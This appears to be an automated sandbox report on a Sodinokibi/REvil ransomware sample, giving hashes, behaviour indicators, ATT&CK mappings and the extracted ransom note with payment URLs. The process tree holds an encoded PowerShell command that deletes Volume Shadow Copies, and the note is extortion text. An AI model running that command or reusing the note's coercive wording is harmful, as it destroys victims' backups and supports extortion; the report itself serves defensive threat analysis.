sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
85s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-03-2024 17:01

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

103f84a7f18492bb17b68cede3a8c53d
SHA1

ed4e3c82883ef862df0a86f858d30fae4bda8cf3
SHA256

1b9dfd1fe17d3783b2ab4a6d583be6fca9ba164d2a1cd6814c710774ec9bd031
SHA512

7bf42382e4c9cdeae9e364a16945366eaebd5ea1859a09d8b8dff5d79593812a07e0037aa54464ae3ec25990b259d87c3c8462391986dbfaff961377972fb512
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QU+lKg0rjCL:NJ0BXScFyfC3Hd4ygPlKjrjC

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\78tw30uj9-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome, Radici Products. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 78tw30uj9. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/339652C079674ED3 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/339652C079674ED3 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: CGX7jwm9JwAm4LFGEIhmlKWVJHxc9rZaWqEmYZi5uNzFjg9/55TbXp/S5RJX6ns5 PcbQE/0usJivvcSbm3b5sa5ZoWeq040cK4prCaQj9Aaj0U6WM22GuVJK8Q59d65s e7+5qVlv94i1bHRlnB2gIoJvcwiPL0Geqb84NjDCsmq+AueDmnoDFdcMcwhFYEi8 Bpv3i6IzEG6z8AgnjsBrz16ugG/0ReSrlQTjz+bmNxO22zZGAotxtQ1AcE2Wnb6P E4RvUzyIYeVxtfVNPMpZVPGjka6MSTVx+G2Vjw5s9Fux7tr0mrmFAF2nhA/b1BKx 8pBIamvhb3cbxu4qCzgYk7V7jZY2GuTU1y445B4ThC81UE/+jgGRMjrWgxyeG2xF 8I0BiqAj/wcQMM79eMI+qiL4UrZ8FsT1dMqeJZsp1P44NKDdSdAPwyvHo2ugroqB Z/38HeN7wYuWaXXy1a0X6paOcd6663pdFQF9u/i6VKTZNKXzARL0bqFPdigcnnFs aNHA3y8YhhOPftpXs0rzQNGTAKwzVx2fcxIcvy3Rhehg3r/QO62AETiJxIojLrhj a6n3CNm0LnA79U/J6cq+sc4PAc9vlxTlLcjbAYb1QB3CX2cMDo7azTbIqCi3VH5U 0bDCXBv8y1OEg4ARptGrAVJjfOEEN57xzRXtM8vaaA1IHcSmyL5Y8mPzA4SXtrX6 HJqfEhOummC64hTOI8EKYrZrrqFmLtzFradS5swS35BbAW6H0AJkqu13+qBB4Ww7 HoZMiOCuUcRmP04+MbGHlGnqFXNn2L3q4gZIDVQ7/Hd9rQVtxPeanNZ3JShCxFrM RN0QckerbRJhvIWJsPEEGBBxKXWcIgN+vmLfvXrSLTglKvjGgyWA71su96TVlvAp kNqJppwUYde1AIVvl4XLCFlvId+pod8wmKSRV64Yw4y9snJX/O5h7YCMb3ursr6d 7V2NeC/Gc1xm0wQBuznTgWvNm4pNIkuReqU+UCLO2nNG2BuVI1p5kmlnOW5OIv78 1F8kTkKOxd0zTfGBj6ao9IEeYwBIR0kH6QhFuXICpI3P/OsSeeDJ1vVXpUVM8MOe Dx5hhZqnIp/QDUU5J+Q1ZPkRdPJVu5vZjiAOknqbpyQ1XJwEg/MeAX8PG7CNguZh UU9UFzavVl5BYd3MvzdG2wExUFXwFbK06mGW9b7KvGtCZf1DPjcUBLTshHCpyD8D 5laeMZ1FC/KhFFxFqs26npIe/oAk1M6BCDavK3u9iLAaxVlwcclFzfKTxnETnwnC +XDmrQdQJx5VXVCr7kHLVgB4svLUfRleHnatmSlrEYr84Ez1w3NqTZKipLKx7yGX KaMjKXMkJJlfWSfDTIcDsw2ufnwE/d9LjJTHkIxKIZzuTUqodFC/y7j6krw= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/339652C079674ED3

http://decryptor.cc/339652C079674ED3

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe

Drops file in Program Files directory 16 IoCs

Processes:

rundll32.exe

description	ioc	Process
File created	\??\c:\program files (x86)\78tw30uj9-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\EnterConnect.xlsx	rundll32.exe
File opened for modification	\??\c:\program files\RenameSearch.png	rundll32.exe
File opened for modification	\??\c:\program files\SetWatch.emf	rundll32.exe
File opened for modification	\??\c:\program files\MountApprove.vssx	rundll32.exe
File opened for modification	\??\c:\program files\RepairSkip.jtx	rundll32.exe
File opened for modification	\??\c:\program files\UnblockConfirm.zip	rundll32.exe
File created	\??\c:\program files\78tw30uj9-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CloseResize.WTV	rundll32.exe
File opened for modification	\??\c:\program files\RegisterJoin.mpeg	rundll32.exe
File opened for modification	\??\c:\program files\RestartBlock.xla	rundll32.exe
File opened for modification	\??\c:\program files\RevokeMove.mov	rundll32.exe
File opened for modification	\??\c:\program files\UninstallDeny.snd	rundll32.exe
File opened for modification	\??\c:\program files\DismountDisconnect.clr	rundll32.exe
File opened for modification	\??\c:\program files\ReadUndo.tiff	rundll32.exe
File opened for modification	\??\c:\program files\WaitRename.ogg	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
2220	rundll32.exe
2220	rundll32.exe
4728	powershell.exe
4728	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	2220	rundll32.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeBackupPrivilege	1900	vssvc.exe
Token: SeRestorePrivilege	1900	vssvc.exe
Token: SeAuditPrivilege	1900	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 1100 wrote to memory of 2220	1100	rundll32.exe	81
PID 1100 wrote to memory of 2220	1100	rundll32.exe	81
PID 1100 wrote to memory of 2220	1100	rundll32.exe	81
PID 2220 wrote to memory of 4728	2220	rundll32.exe	82
PID 2220 wrote to memory of 4728	2220	rundll32.exe	82

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4728

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:888

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Recovery\78tw30uj9-readme.txt

Filesize
6KB

MD5
983a7f2f09af2714695e826bb4bcef1a

SHA1
1e1cb4f5b3b8851dfb1ddd6063b5bb63afa8d792

SHA256
0937bb6f0f043875eb431db2846cf4a81a0940cc7a89e1e71beb476096af3ad4

SHA512
eaa539710c06469b799afc9e3ee47664c188ccb95a721a472da725b87f4d2c21a583ee194127fe639487fb0148907f477463aa449c41340ca880613b26476ef4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0sthlonk.4jh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4728-8-0x000001C6B14B0000-0x000001C6B14D2000-memory.dmp

Filesize
136KB

Download
memory/4728-9-0x00007FF99A870000-0x00007FF99B332000-memory.dmp

Filesize
10.8MB

Download
memory/4728-11-0x000001C6B1380000-0x000001C6B1390000-memory.dmp

Filesize
64KB

Download
memory/4728-10-0x000001C6B1380000-0x000001C6B1390000-memory.dmp

Filesize
64KB

Download
memory/4728-14-0x00007FF99A870000-0x00007FF99B332000-memory.dmp

Filesize
10.8MB

Download